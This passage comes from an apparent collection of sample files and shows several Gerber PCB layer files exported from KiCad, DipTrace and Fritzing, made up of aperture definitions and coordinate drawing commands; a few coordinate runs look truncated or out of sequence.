0000Y-89000000D01*\nD26*\nX168800000Y-94500000D02*\nX168800000Y-92800000D01*\nX168800000Y-96598040D02*\nX167301960Y-96598040D01*\nX167301960Y-96598040D02*\nX167300000Y-96600000D01*\nD27*\nX159300000Y-87400000D02*\nX160025000Y-86675000D01*\nX160025000Y-86675000D02*\nX160025000Y-85400000D01*\nD26*\nX170800000Y-92800000D02*\nX170800000Y-94500000D01*\nX167300000Y-94500000D02*\nX167300000Y-95065685D01*\nX167300000Y-95065685D02*\nX167734314Y-95499999D01*\nX167734314Y-95499999D02*\nX167876797Y-95499999D01*\nX167876797Y-95499999D02*\nX167878639Y-95501841D01*\nX167878639Y-95501841D02*\nX170603241Y-95501841D01*\nX170603241Y-95501841D02*\nX170800000Y-95698600D01*\nX170800000Y-95698600D02*\nX170800000Y-96598040D01*\nD27*\nX160675000Y-85400000D02*\nX160675000Y-86400000D01*\nX160900000Y-86900000D02*\nX160675000Y-86675000D01*\nX160675000Y-86675000D02*\nX160675000Y-86400000D01*\nX160900000Y-87400000D02*\nX160900000Y-86900000D01*\nD26*\nX172800000Y-92800000D02*\nX172800000Y-94500000D01*\nD27*\nX175640000Y-81600000D02*\nX175640000Y-84560000D01*\nX175640000Y-84560000D02*\nX174900000Y-85300000D01*\nD26*\nX176600000Y-91300000D02*\nX175599999Y-90299999D01*\nX175599999Y-90299999D02*\nX174900000Y-90299999D01*\nD29*\nX175640000Y-81600000D02*\nX180803600Y-81600000D01*\nX180803600Y-81600000D02*\nX184000000Y-84796400D01*\nX184000000Y-84796400D02*\nX184000000Y-86460000D01*\nD26*\nX174900000Y-92800000D02*\nX174900000Y-94501960D01*\nD27*\nX165934317Y-90900000D02*\nX166500002Y-90900000D01*\nX159900000Y-90900000D02*\nX165934317Y-90900000D01*\nX159375000Y-91425000D02*\nX159900000Y-90900000D01*\nX159375000Y-92600000D02*\nX159375000Y-91425000D01*\nX177200000Y-90200000D02*\nX177200000Y-89050000D01*\nX177200000Y-89050000D02*\nX179550000Y-89050000D01*\nX179550000Y-89050000D02*\nX179600000Y-89000000D01*\nX166000000Y-89400000D02*\nX167600001Y-87799999D01*\nX158400000Y-89400000D02*\nX166000000Y-89400000D01*\nX167600001Y-87799999D02*\nX168000000Y-87400000D01*\nX156775000Y-91025000D02*\nX158400000Y-89400000D01*\nX175000000Y-87150000D02*\nX174050000Y-87150000D01*\nX174050000Y-87150000D02*\nX173800000Y-87400000D01*\nX156775000Y-91025000D02*\nX156800000Y-91000000D01*\nX156775000Y-92600000D02*\nX156775000Y-91025000D01*\nD26*\nX169550000Y-90100000D02*\nX169600000Y-90100000D01*\nX169600000Y-90100000D02*\nX170800000Y-91300000D01*\nX174900000Y-91300000D02*\nX175100000Y-91300000D01*\nX175100000Y-91300000D02*\nX176600000Y-92800000D01*\nX171150000Y-90100000D02*\nX171600000Y-90100000D01*\nX171600000Y-90100000D02*\nX172800000Y-91300000D01*\nD27*\nX154500000Y-89792900D02*\nX154342900Y-89792900D01*\nX154342900Y-89792900D02*\nX152900000Y-88350000D01*\nX157560197Y-89599999D02*\nX154692901Y-89599999D01*\nX154692901Y-89599999D02*\nX154500000Y-89792900D01*\nX165225000Y-86712500D02*\nX165150000Y-86787500D01*\nX165225000Y-85400000D02*\nX165225000Y-86712500D01*\nX165150000Y-86787500D02*\nX165150000Y-87703552D01*\nX165150000Y-87703552D02*\nX163905962Y-88947590D01*\nX163905962Y-88947590D02*\nX158212605Y-88947591D01*\nX158212605Y-88947591D02*\nX157560197Y-89599999D01*\nX157353101Y-89100001D02*\nX154692901Y-89100001D01*\nX154692901Y-89100001D02*\nX154500000Y-88907100D01*\nX164650000Y-86787500D02*\nX164650000Y-87496448D01*\nX158005501Y-88447601D02*\nX157353101Y-89100001D01*\nX164575000Y-85400000D02*\nX164575000Y-86712500D01*\nX164575000Y-86712500D02*\nX164650000Y-86787500D01*\nX164650000Y-87496448D02*\nX163698847Y-88447601D01*\nX163698847Y-88447601D02*\nX158005501Y-88447601D01*\nD31*\nG36*\nX161443040Y-80386260D02*\nX161404451Y-80479422D01*\nX161363152Y-80451826D01*\nX161250000Y-80429319D01*\nX160450000Y-80429319D01*\nX160336848Y-80451826D01*\nX160240922Y-80515922D01*\nX160176826Y-80611848D01*\nX160154319Y-80725000D01*\nX160154319Y-81475000D01*\nX160176826Y-81588152D01*\nX160240922Y-81684078D01*\nX160310000Y-81730235D01*\nX160310000Y-82069765D01*\nX160240922Y-82115922D01*\nX160211470Y-82160000D01*\nX159949905Y-82160000D01*\nX159726444Y-82067210D01*\nX159474661Y-82066991D01*\nX159241959Y-82163141D01*\nX159063767Y-82341023D01*\nX158967210Y-82573556D01*\nX158966991Y-82825339D01*\nX159063141Y-83058041D01*\nX159241023Y-83236233D01*\nX159473556Y-83332790D01*\nX159725339Y-83333009D01*\nX159950439Y-83240000D01*\nX160211470Y-83240000D01*\nX160240922Y-83284078D01*\nX160310000Y-83330235D01*\nX160310000Y-83575000D01*\nX160351105Y-83781649D01*\nX160468162Y-83956838D01*\nX160493160Y-83981835D01*\nX160493162Y-83981838D01*\nX160568503Y-84032179D01*\nX160765644Y-84229319D01*\nX160450000Y-84229319D01*\nX160350000Y-84249210D01*\nX160250000Y-84229319D01*\nX159800000Y-84229319D01*\nX159700000Y-84249210D01*\nX159600000Y-84229319D01*\nX159150000Y-84229319D01*\nX159050000Y-84249210D01*\nX158950000Y-84229319D01*\nX158648548Y-84229319D01*\nX158732790Y-84026444D01*\nX172906000Y-81774000D01*\nX172906000Y-81426000D01*\nX172926000Y-81426000D01*\nX172926000Y-81406000D01*\nX173274000Y-81406000D01*\nX173274000Y-81426000D01*\nX173274000Y-81426000D01*\nG37*\nX173274000Y-81426000D02*\nX180070000Y-89624732D01*\nX180070000Y-89953439D01*\nX180000000Y-89939515D01*\nX179200000Y-89939515D01*\nX179090750Y-89961246D01*\nX178998132Y-90023132D01*\nX178936246Y-90115750D01*\nX172926000Y-81774000D01*\nX172906000Y-81774000D01*\nX172906000Y-81426000D01*\nX172926000Y-81426000D01*\nX172926000Y-81406000D01*\nX173274000Y-81406000D01*\nX173274000Y-81426000D01*\nD31*\nG36*\nX181810000Y-87900000D02*\nX181816851Y-87934442D01*\nX181836360Y-87963640D01*\nX181865558Y-87983149D01*\nX181900000Y-87990000D01*\nX185210000Y-87990000D01*\nX185210000Y-89910000D01*\nX182100000Y-89910000D01*\nX182065558Y-89916851D01*\nX182036360Y-89936360D01*\nX182016851Y-89965558D01*\nX182010000Y-90000000D01*\nX182010000Y-91310000D01*\nX180490000Y-91310000D01*\nX180490000Y-86190000D01*\nX181810000Y-86190000D01*\nX181810000Y-87900000D01*\nX181810000Y-87900000D01*\nG37*\nX181810000Y-87900000D02*\nX181816851Y-87934442D01*\nX181836360Y-87963640D01*\nX181865558Y-87983149D01*\nX181900000Y-87990000D01*\nX185210000Y-87990000D01*\nX185210000Y-89910000D01*\nX182100000Y-89910000D01*\nX182065558Y-89916851D01*\nX182036360Y-89936360D01*\nX182016851Y-89965558D01*\nX182010000Y-90000000D01*\nX182010000Y-91310000D01*\nX180490000Y-91310000D01*\nX180490000Y-86190000D01*\nX181810000Y-86190000D01*\nX181810000Y-87900000D01*\nM02*\n"
  },
  {
    "path": "samples/Gerber Image/FelinaePurr-F.Mask.gts",
    "content": "G04 #@! TF.FileFunction,Soldermask,Top*\n%FSLAX46Y46*%\nG04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*\nG04 Created by KiCad (PCBNEW (2016-07-14 BZR 6980)-product) date Sunday, 23 April 2017 'PMt' 23:49:01*\n%MOMM*%\n%LPD*%\nG01*\nG04 APERTURE LIST*\n%ADD10C,0.150000*%\n%ADD11R,0.800000X0.750000*%\n%ADD12R,0.750000X0.800000*%\n%ADD13R,1.198880X1.198880*%\n%ADD14R,1.727200X2.032000*%\n%ADD15O,1.727200X2.032000*%\n%ADD16R,0.500000X0.900000*%\n%ADD17R,0.450000X1.750000*%\n%ADD18R,1.060000X0.650000*%\n%ADD19R,2.032000X1.727200*%\n%ADD20O,2.032000X1.727200*%\n%ADD21R,0.900000X0.500000*%\n%ADD22C,1.300000*%\n%ADD23C,2.800000*%\n%ADD24C,1.200000*%\nG04 APERTURE END LIST*\nD10*\nD11*\nX165350000Y-82700000D03*\nX163850000Y-82700000D03*\nX162350000Y-82700000D03*\nX160850000Y-82700000D03*\nD12*\nX172700000Y-87350000D03*\nX172700000Y-88850000D03*\nD11*\nX181100000Y-90600000D03*\nX179600000Y-90600000D03*\nD13*\nX168800000Y-94500000D03*\nX168800000Y-96598040D03*\nX170800000Y-94500000D03*\nX170800000Y-96598040D03*\nX172800000Y-94500000D03*\nX172800000Y-96598040D03*\nD14*\nX175640000Y-81600000D03*\nD15*\nX173100000Y-81600000D03*\nX170560000Y-81600000D03*\nD16*\nX181100000Y-89000000D03*\nX179600000Y-89000000D03*\nX179600000Y-87300000D03*\nX181100000Y-87300000D03*\nD17*\nX156775000Y-92600000D03*\nX157425000Y-92600000D03*\nX158075000Y-92600000D03*\nX158725000Y-92600000D03*\nX159375000Y-92600000D03*\nX160025000Y-92600000D03*\nX160675000Y-92600000D03*\nX161325000Y-92600000D03*\nX161975000Y-92600000D03*\nX162625000Y-92600000D03*\nX163275000Y-92600000D03*\nX163925000Y-92600000D03*\nX164575000Y-92600000D03*\nX165225000Y-92600000D03*\nX165225000Y-85400000D03*\nX164575000Y-85400000D03*\nX163925000Y-85400000D03*\nX163275000Y-85400000D03*\nX162625000Y-85400000D03*\nX161975000Y-85400000D03*\nX161325000Y-85400000D03*\nX160675000Y-85400000D03*\nX160025000Y-85400000D03*\nX159375000Y-85400000D03*\nX158725000Y-85400000D03*\nX158075000Y-85400000D03*\nX157425000Y-85400000D03*\nX156775000Y-85400000D03*\nD18*\nX175000000Y-87150000D03*\nX175000000Y-88100000D03*\nX175000000Y-89050000D03*\nX177200000Y-89050000D03*\nX177200000Y-87150000D03*\nD19*\nX184000000Y-86460000D03*\nD20*\nX184000000Y-89000000D03*\nX184000000Y-91540000D03*\nD13*\nX174900000Y-94501960D03*\nX174900000Y-96600000D03*\nD11*\nX159000000Y-94600000D03*\nX160500000Y-94600000D03*\nX162350000Y-81100000D03*\nX160850000Y-81100000D03*\nD21*\nX171150000Y-88600000D03*\nX171150000Y-90100000D03*\nX169550000Y-88600000D03*\nX169550000Y-90100000D03*\nX168800000Y-91300000D03*\nX168800000Y-92800000D03*\nX170800000Y-91300000D03*\nX170800000Y-92800000D03*\nX172800000Y-91300000D03*\nX172800000Y-92800000D03*\nX174900000Y-91300000D03*\nX174900000Y-92800000D03*\nX176600000Y-91300000D03*\nX176600000Y-92800000D03*\nD22*\nX152900000Y-88350000D03*\nX152900000Y-90350000D03*\nX152900000Y-92850000D03*\nX152900000Y-85850000D03*\nD23*\nX150800000Y-83500000D03*\nX150800000Y-95200000D03*\nD24*\nX150800000Y-87100000D03*\nX150800000Y-91600000D03*\nM02*\n"
  },
  {
    "path": "samples/Gerber Image/FelinaePurr-F.Paste.gtp",
    "content": "G04 #@! TF.FileFunction,Paste,Top*\n%FSLAX46Y46*%\nG04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*\nG04 Created by KiCad (PCBNEW (2016-07-14 BZR 6980)-product) date Sunday, 23 April 2017 'PMt' 23:49:01*\n%MOMM*%\n%LPD*%\nG01*\nG04 APERTURE LIST*\n%ADD10C,0.150000*%\nG04 APERTURE END LIST*\nD10*\nM02*\n"
  },
  {
    "path": "samples/Gerber Image/FelinaePurr-F.SilkS.gto",
    "content": "G04 #@! TF.FileFunction,Legend,Top*\n%FSLAX46Y46*%\nG04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*\nG04 Created by KiCad (PCBNEW (2016-07-14 BZR 6980)-product) date Sunday, 23 April 2017 'PMt' 23:49:01*\n%MOMM*%\n%LPD*%\nG01*\nG04 APERTURE LIST*\n%ADD10C,0.150000*%\n%ADD11C,0.200000*%\n%ADD12C,0.500000*%\n%ADD13C,0.175000*%\n%ADD14C,0.120000*%\n%ADD15R,0.800000X0.750000*%\n%ADD16R,0.750000X0.800000*%\n%ADD17R,1.198880X1.198880*%\n%ADD18R,1.727200X2.032000*%\n%ADD19O,1.727200X2.032000*%\n%ADD20R,0.500000X0.900000*%\n%ADD21R,0.450000X1.750000*%\n%ADD22R,1.060000X0.650000*%\n%ADD23R,2.032000X1.727200*%\n%ADD24O,2.032000X1.727200*%\n%ADD25R,0.900000X0.500000*%\n%ADD26C,1.300000*%\n%ADD27C,2.800000*%\n%ADD28C,1.200000*%\nG04 APERTURE END LIST*\nD10*\nD11*\nX181000000Y-96250000D02*\nX181000000Y-96750000D01*\nX180750000Y-96500000D02*\nX181250000Y-96500000D01*\nX180750000Y-97250000D02*\nX181250000Y-97250000D01*\nD12*\nX156000000Y-92800000D02*\nG75*\nG03X156000000Y-92800000I-200000J0D01*\nG01*\nD13*\nX174800000Y-84116666D02*\nX174800000Y-83416666D01*\nX174966666Y-83416666D01*\nX175066666Y-83450000D01*\nX175133333Y-83516666D01*\nX175166666Y-83583333D01*\nX175200000Y-83716666D01*\nX175200000Y-83816666D01*\nX175166666Y-83950000D01*\nX175133333Y-84016666D01*\nX175066666Y-84083333D01*\nX174966666Y-84116666D01*\nX174800000Y-84116666D01*\nX175500000Y-83750000D02*\nX175733333Y-83750000D01*\nX157483333Y-97316666D02*\nX161783333Y-96816666D01*\nX162450000Y-97116666D02*\nX162783333Y-97116666D01*\nX162383333Y-97316666D02*\nX162616666Y-96616666D01*\nX162850000Y-97316666D01*\nD10*\nX164950000Y-83300000D02*\nX164250000Y-83300000D01*\nX164250000Y-82100000D02*\nX164950000Y-82100000D01*\nX161950000Y-83300000D02*\nX161250000Y-83300000D01*\nX161250000Y-82100000D02*\nX161950000Y-82100000D01*\nX173300000Y-87750000D02*\nX173300000Y-88450000D01*\nX172100000Y-88450000D02*\nX172100000Y-87750000D01*\nX180700000Y-91200000D02*\nX180000000Y-91200000D01*\nX180000000Y-90000000D02*\nX180700000Y-90000000D01*\nX169550000Y-97149020D02*\nX169550000Y-94449020D01*\nX168050000Y-97149020D02*\nX168050000Y-94449020D01*\nX168950000Y-95649020D02*\nX168700000Y-95649020D01*\nX168700000Y-95649020D02*\nX168850000Y-95799020D01*\nX168450000Y-95899020D02*\nX169150000Y-95899020D01*\nX168800000Y-95549020D02*\nX168800000Y-95199020D01*\nX168800000Y-95899020D02*\nX168450000Y-95549020D01*\nX168450000Y-95549020D02*\nX169150000Y-95549020D01*\nX169150000Y-95549020D02*\nX168800000Y-95899020D01*\nX171550000Y-97149020D02*\nX171550000Y-94449020D01*\nX170050000Y-97149020D02*\nX170050000Y-94449020D01*\nX170950000Y-95649020D02*\nX170700000Y-95649020D01*\nX170700000Y-95649020D02*\nX170850000Y-95799020D01*\nX170450000Y-95899020D02*\nX171150000Y-95899020D01*\nX170800000Y-95549020D02*\nX170800000Y-95199020D01*\nX175900000Y-86400000D02*\nG75*\nG03X175900000Y-86400000I-100000J0D01*\nG01*\nX176350000Y-86650000D02*\nX175850000Y-86650000D01*\nX176350000Y-89550000D02*\nX176350000Y-86650000D01*\nX175850000Y-89550000D02*\nX176350000Y-89550000D01*\nX175850000Y-86650000D02*\nX175850000Y-89550000D01*\nX182730000Y-87730000D02*\nX182730000Y-92810000D01*\nX182730000Y-92810000D02*\nX185270000Y-92810000D01*\nX185270000Y-92810000D02*\nX185270000Y-87730000D01*\nX185550000Y-84910000D02*\nX185550000Y-86460000D01*\nX185270000Y-87730000D02*\nX182730000Y-87730000D01*\nX175580000Y-92550000D01*\nX175920000Y-92550000D02*\nX175920000Y-91550000D01*\nX177280000Y-91550000D02*\nX177280000Y-92550000D01*\nD10*\nX148000000Y-95350000D02*\nX148000000Y-83350000D01*\nX134100000Y-83350000D02*\nX152800000Y-83350000D01*\nX134100000Y-95350000D02*\nX134100000Y-83350000D01*\nX152900000Y-95350000D02*\nX141352380Y-88850000D02*\nX140352380Y-88850000D01*\nX140495238Y-88945238D01*\nX140590476Y-89040476D01*\nX140638095Y-89135714D01*\n%LPC*%\nD15*\nX165350000Y-82700000D03*\nX163850000Y-82700000D03*\nX162350000Y-82700000D03*\nX160850000Y-82700000D03*\nD16*\nX172700000Y-87350000D03*\nX172700000Y-88850000D03*\nD15*\nX181100000Y-90600000D03*\nX179600000Y-90600000D03*\nD17*\nX168800000Y-94500000D03*\nX168800000Y-96598040D03*\nX170800000Y-94500000D03*\nX170800000Y-96598040D03*\nX172800000Y-94500000D03*\nX172800000Y-96598040D03*\nD18*\nX175640000Y-81600000D03*\nD19*\nX173100000Y-81600000D03*\nX170560000Y-81600000D03*\nD20*\nX181100000Y-89000000D03*\nX179600000Y-89000000D03*\nX179600000Y-87300000D03*\nX181100000Y-87300000D03*\nD21*\nX156775000Y-92600000D03*\nX157425000Y-92600000D03*\nX158075000Y-92600000D03*\nX158725000Y-92600000D03*\nX159375000Y-92600000D03*\nX160025000Y-92600000D03*\nX160675000Y-92600000D03*\nX161325000Y-92600000D03*\nX161975000Y-92600000D03*\nX162625000Y-92600000D03*\nX163275000Y-92600000D03*\nX163925000Y-92600000D03*\nX164575000Y-92600000D03*\nX165225000Y-92600000D03*\nX165225000Y-85400000D03*\nX164575000Y-85400000D03*\nX163925000Y-85400000D03*\nX163275000Y-85400000D03*\nX162625000Y-85400000D03*\nX161975000Y-85400000D03*\nX161325000Y-85400000D03*\nX160675000Y-85400000D03*\nX160025000Y-85400000D03*\nX159375000Y-85400000D03*\nX158725000Y-85400000D03*\nX158075000Y-85400000D03*\nX157425000Y-85400000D03*\nX156775000Y-85400000D03*\nD22*\nX175000000Y-87150000D03*\nX175000000Y-88100000D03*\nX175000000Y-89050000D03*\nX177200000Y-89050000D03*\nX177200000Y-87150000D03*\nD23*\nX184000000Y-86460000D03*\nD24*\nX184000000Y-89000000D03*\nX184000000Y-91540000D03*\nD17*\nX174900000Y-94501960D03*\nX174900000Y-96600000D03*\nD15*\nX159000000Y-94600000D03*\nX160500000Y-94600000D03*\nX162350000Y-81100000D03*\nX160850000Y-81100000D03*\nD25*\nX171150000Y-88600000D03*\nX171150000Y-90100000D03*\nX169550000Y-88600000D03*\nX169550000Y-90100000D03*\nX168800000Y-91300000D03*\nX168800000Y-92800000D03*\nX170800000Y-91300000D03*\nX170800000Y-92800000D03*\nX172800000Y-91300000D03*\nX172800000Y-92800000D03*\nX174900000Y-91300000D03*\nX174900000Y-92800000D03*\nX176600000Y-91300000D03*\nX176600000Y-92800000D03*\nD26*\nX152900000Y-88350000D03*\nX152900000Y-90350000D03*\nX152900000Y-92850000D03*\nX152900000Y-85850000D03*\nD27*\nX150800000Y-83500000D03*\nX150800000Y-95200000D03*\nD28*\nX150800000Y-87100000D03*\nX150800000Y-91600000D03*\nM02*\n"
  },
  {
    "path": "samples/Gerber Image/GOLMain_RevA-B.Paste.gbp",
    "content": "G04 #@! TF.FileFunction,Paste,Bot*\n%FSLAX46Y46*%\nG04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*\nG04 Created by KiCad (PCBNEW 4.0.4-stable) date 03/23/17 03:26:40*\n%MOMM*%\n%LPD*%\nG01*\nG04 APERTURE LIST*\n%ADD10C,0.100000*%\n%ADD11R,1.100000X2.400000*%\n%ADD12O,1.100000X2.400000*%\n%ADD13R,2.000000X2.032000*%\n%ADD14R,1.727200X2.032000*%\nG04 APERTURE END LIST*\nD10*\nD11*\nX153000000Y-135000000D03*\nD12*\nX151000000Y-135000000D03*\nX149000000Y-135000000D03*\nX147000000Y-135000000D03*\nX145000000Y-135000000D03*\nX143000000Y-135000000D03*\nX141000000Y-135000000D03*\nX139000000Y-135000000D03*\nX139000000Y-119000000D03*\nX141000000Y-119000000D03*\nX143000000Y-119000000D03*\nX145000000Y-119000000D03*\nX147000000Y-119000000D03*\nX149000000Y-119000000D03*\nX151000000Y-119000000D03*\nX153000000Y-119000000D03*\nD13*\nX94500000Y-125500000D03*\nX97040000Y-125500000D03*\nX99580000Y-125500000D03*\nX94500000Y-128500000D03*\nX97040000Y-128500000D03*\nX99580000Y-128500000D03*\nX94500000Y-131500000D03*\nX97040000Y-131500000D03*\nX99580000Y-131500000D03*\nX94500000Y-134500000D03*\nX97040000Y-134500000D03*\nX99580000Y-134500000D03*\nX97040000Y-137500000D03*\nX99580000Y-137500000D03*\nD14*\nX94500000Y-140500000D03*\nD13*\nX97040000Y-140500000D03*\nX99580000Y-140500000D03*\nX94500000Y-143500000D03*\nX97040000Y-143500000D03*\nX99580000Y-143500000D03*\nX94500000Y-146500000D03*\nX97040000Y-146500000D03*\nX99580000Y-146500000D03*\nM02*\n"
  },
  {
    "path": "samples/Gerber Image/LIDARLite.ncl",
    "content": "G04 DipTrace 2.4.0.2*\n%INLIDARLite.ncl*%\n%MOIN*%\n%ADD11C,0.0394*%\n%FSLAX44Y44*%\nG04*\nG70*\nG90*\nG75*\nG01*\n%LNBoardOutline*%\n%LPD*%\nX0Y23622D2*\nD11*\nX27953D1*\nY0D1*\nX0D1*\nY23622D1*\nX591Y23110D2*\nX13819D1*\nX591Y591D2*\nY11614D1*\nY12087D2*\nY23110D1*\nX14291D2*\nX27520D1*\nX591Y591D2*\nX13819D1*\nX14291D2*\nX27520D1*\nY11614D1*\nY12087D2*\nY23110D1*\nM02*\n"
  },
  {
    "path": "samples/Gerber Image/nonaprs_contour.gko",
    "content": "G04 MADE WITH FRITZING*\nG04 WWW.FRITZING.ORG*\nG04 DOUBLE SIDED*\nG04 HOLES PLATED*\nG04 CONTOUR ON CENTER OF CONTOUR VECTOR*\n%ASAXBY*%\n%FSLAX23Y23*%\n%MOIN*%\n%OFA0B0*%\n%SFA1.0B1.0*%\n%ADD10R,1.267940X2.408830*%\n%ADD11C,0.008000*%\n%ADD10C,0.008*%\n%LNCONTOUR*%\nG90*\nG70*\nG54D10*\nG54D11*\nX4Y2405D02*\nX1264Y2405D01*\nX1264Y4D01*\nX4Y4D01*\nX4Y2405D01*\nD02*\nG04 End of contour*\nM02*"
  },
  {
    "path": "samples/Gerber Image/simonShield-B.Cu.gbr",
    "content": "G04 #@! TF.FileFunction,Copper,L2,Bot,Signal*\n%FSLAX46Y46*%\nG04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*\nG04 Created by KiCad (PCBNEW 4.0.6-e0-6349~53~ubuntu16.04.1) date Sat Jul  1 03:26:18 2017*\n%MOMM*%\n%LPD*%\nG01*\nG04 APERTURE LIST*\n%ADD10C,0.100000*%\n%ADD11C,0.150000*%\n%ADD12C,0.300000*%\n%ADD13C,1.600000*%\n%ADD14O,1.600000X1.600000*%\n%ADD15R,2.000000X1.524000*%\n%ADD16O,2.000000X1.524000*%\n%ADD17R,1.300000X1.300000*%\n%ADD18C,1.300000*%\n%ADD19C,1.998980*%\n%ADD20R,1.900000X2.000000*%\n%ADD21C,1.900000*%\n%ADD22R,1.727200X1.727200*%\n%ADD23O,1.727200X1.727200*%\n%ADD24C,1.000760*%\n%ADD25C,1.397000*%\n%ADD26C,1.600200*%\n%ADD27C,1.270000*%\n%ADD28C,1.500000*%\n%ADD29C,1.200000*%\n%ADD30C,0.900000*%\n%ADD31C,0.600000*%\n%ADD32C,0.304800*%\n%ADD33C,0.635000*%\n%ADD34C,0.450000*%\nG04 APERTURE END LIST*\nD10*\nD11*\nX196250000Y-118000000D02*\nX113000000Y-118000000D01*\nX196250000Y-52750000D02*\nX196250000Y-118000000D01*\nX113000000Y-52750000D02*\nX196250000Y-52750000D01*\nX113000000Y-118000000D02*\nX113000000Y-52750000D01*\nD12*\nX189307143Y-112775000D02*\nX188592857Y-112775000D01*\nX189450000Y-113203571D02*\nX188950000Y-111703571D01*\nX191107143Y-58571429D01*\nX191178571Y-58714286D01*\nX191321429Y-58857143D01*\nX191535714Y-58928571D01*\nX191892857Y-58928571D01*\nX190392857Y-57428571D02*\nX190392857Y-58642857D01*\nX190321429Y-58785714D01*\nX190250000Y-58857143D01*\nX190107143Y-58928571D01*\nX189821429Y-58928571D01*\nX189678571Y-58857143D01*\nX189607143Y-58785714D01*\nX189535714Y-58642857D01*\nX189535714Y-57428571D01*\nX188821428Y-58357143D02*\nX170107142Y-55928571D01*\nX170392856Y-55928571D01*\nX170535713Y-55857143D01*\nX170678570Y-55714286D01*\nX170749999Y-55428571D01*\nX170749999Y-54928571D01*\nX170678570Y-54642857D01*\nX170535713Y-54500000D01*\nX170392856Y-54428571D01*\nX169107141Y-55928571D02*\nX169107141Y-54428571D01*\nX168249998Y-55928571D01*\nX168249998Y-54428571D01*\nD13*\nX145400000Y-68800000D03*\nD14*\nX145400000Y-58640000D03*\nD15*\nX189230000Y-61468000D03*\nD16*\nX191770000Y-61468000D03*\nX189230000Y-74168000D03*\nX191770000Y-64008000D03*\nX189230000Y-76708000D03*\nX191770000Y-66548000D03*\nX189230000Y-79248000D03*\nX191770000Y-69088000D03*\nX189230000Y-81788000D03*\nX191770000Y-71628000D03*\nX189230000Y-84328000D03*\nX191770000Y-74168000D03*\nX189230000Y-86868000D03*\nX191770000Y-76708000D03*\nX189230000Y-89408000D03*\nX191770000Y-79248000D03*\nX189230000Y-91948000D03*\nX191770000Y-81788000D03*\nX189230000Y-94488000D03*\nX191770000Y-84328000D03*\nX189230000Y-97028000D03*\nX191770000Y-86868000D03*\nX189230000Y-99568000D03*\nX191770000Y-89408000D03*\nX191770000Y-91948000D03*\nX189230000Y-102108000D03*\nX191770000Y-94488000D03*\nX191770000Y-99568000D03*\nX191770000Y-102108000D03*\nX191770000Y-104648000D03*\nX191770000Y-107188000D03*\nX189230000Y-104648000D03*\nX189230000Y-107188000D03*\nX189230000Y-64008000D03*\nX189230000Y-66548000D03*\nX189230000Y-69088000D03*\nX189230000Y-71628000D03*\nX189230000Y-109728000D03*\nX191770000Y-109728000D03*\nX191770000Y-97028000D03*\nD15*\nX118110000Y-61468000D03*\nD16*\nX120650000Y-61468000D03*\nX118110000Y-64008000D03*\nX120650000Y-64008000D03*\nX118110000Y-66548000D03*\nX120650000Y-66548000D03*\nX118110000Y-69088000D03*\nX120650000Y-69088000D03*\nX118110000Y-71628000D03*\nX120650000Y-71628000D03*\nX118110000Y-74168000D03*\nX120650000Y-74168000D03*\nX118110000Y-76708000D03*\nX120650000Y-76708000D03*\nX118110000Y-79248000D03*\nX120650000Y-79248000D03*\nX118110000Y-81788000D03*\nX120650000Y-81788000D03*\nX118110000Y-84328000D03*\nX120650000Y-84328000D03*\nX118110000Y-86868000D03*\nX120650000Y-86868000D03*\nX118110000Y-89408000D03*\nX120650000Y-89408000D03*\nX118110000Y-91948000D03*\nX120650000Y-91948000D03*\nX118110000Y-94488000D03*\nX120650000Y-94488000D03*\nX118110000Y-97028000D03*\nX120650000Y-97028000D03*\nX118110000Y-99568000D03*\nX120650000Y-99568000D03*\nX118110000Y-102108000D03*\nX120650000Y-102108000D03*\nX118110000Y-104648000D03*\nX120650000Y-104648000D03*\nX118110000Y-107188000D03*\nX120650000Y-107188000D03*\nX118110000Y-109728000D03*\nX120650000Y-109728000D03*\nD17*\nX135255000Y-64008000D03*\nD18*\nX135255000Y-61508000D03*\nD19*\nX164465000Y-85471000D03*\nX164465000Y-77851000D03*\nD20*\nX136017000Y-72644000D03*\nD21*\nX133477000Y-72644000D03*\nD20*\nX173863000Y-72644000D03*\nD21*\nX176403000Y-72644000D03*\nD20*\nX136017000Y-96139000D03*\nD21*\nX133477000Y-96139000D03*\nD20*\nX173863000Y-96012000D03*\nD21*\nX176403000Y-96012000D03*\nD22*\nX127007800Y-61542700D03*\nD23*\nX129547800Y-61542700D03*\nX127007800Y-64082700D03*\nX129547800Y-64082700D03*\nD24*\nX166243000Y-67056000D03*\nX164973000Y-68326000D03*\nX164973000Y-65786000D03*\nX128143000Y-71374000D03*\nX129413000Y-72644000D03*\nX126873000Y-72644000D03*\nX181737000Y-73914000D03*\nX180467000Y-72644000D03*\nX183007000Y-72644000D03*\nX128143000Y-94742000D03*\nX129413000Y-96012000D03*\nX126873000Y-96012000D03*\nX181737000Y-97282000D03*\nX180467000Y-96012000D03*\nX183007000Y-96012000D03*\nD19*\nX134239000Y-85344000D03*\nX134239000Y-77724000D03*\nX145415000Y-85344000D03*\nX145415000Y-77724000D03*\nX175641000Y-85217000D03*\nX175641000Y-77597000D03*\nX145415000Y-108966000D03*\nX145415000Y-101346000D03*\nX134239000Y-108458000D03*\nX134239000Y-100838000D03*\nX175641000Y-108585000D03*\nX175641000Y-100965000D03*\nX164465000Y-108839000D03*\nX164465000Y-101219000D03*\nX169164000Y-62611000D03*\nX161544000Y-62611000D03*\nX169164000Y-59563000D03*\nX161544000Y-59563000D03*\nX129921000Y-85217000D03*\nX129921000Y-77597000D03*\nX126365000Y-85217000D03*\nX126365000Y-77597000D03*\nX180086000Y-85217000D03*\nX180086000Y-77597000D03*\nX183515000Y-85217000D03*\nX183515000Y-77597000D03*\nX129921000Y-108458000D03*\nX129921000Y-100838000D03*\nX126365000Y-108458000D03*\nX126365000Y-100838000D03*\nX179959000Y-108585000D03*\nX179959000Y-100965000D03*\nX183515000Y-108585000D03*\nX183515000Y-100965000D03*\nD13*\nX155000000Y-99000000D03*\nD14*\nX155000000Y-88840000D03*\nD25*\nX137287000Y-77724000D03*\nX142367000Y-77724000D03*\nX137287000Y-85344000D03*\nX142367000Y-85344000D03*\nX148463000Y-77724000D03*\nX153543000Y-77724000D03*\nX148463000Y-85344000D03*\nX153543000Y-85344000D03*\nX172593000Y-85344000D03*\nX167513000Y-85344000D03*\nX172593000Y-77724000D03*\nX167513000Y-77724000D03*\nX161417000Y-85344000D03*\nX156337000Y-85344000D03*\nX161417000Y-77724000D03*\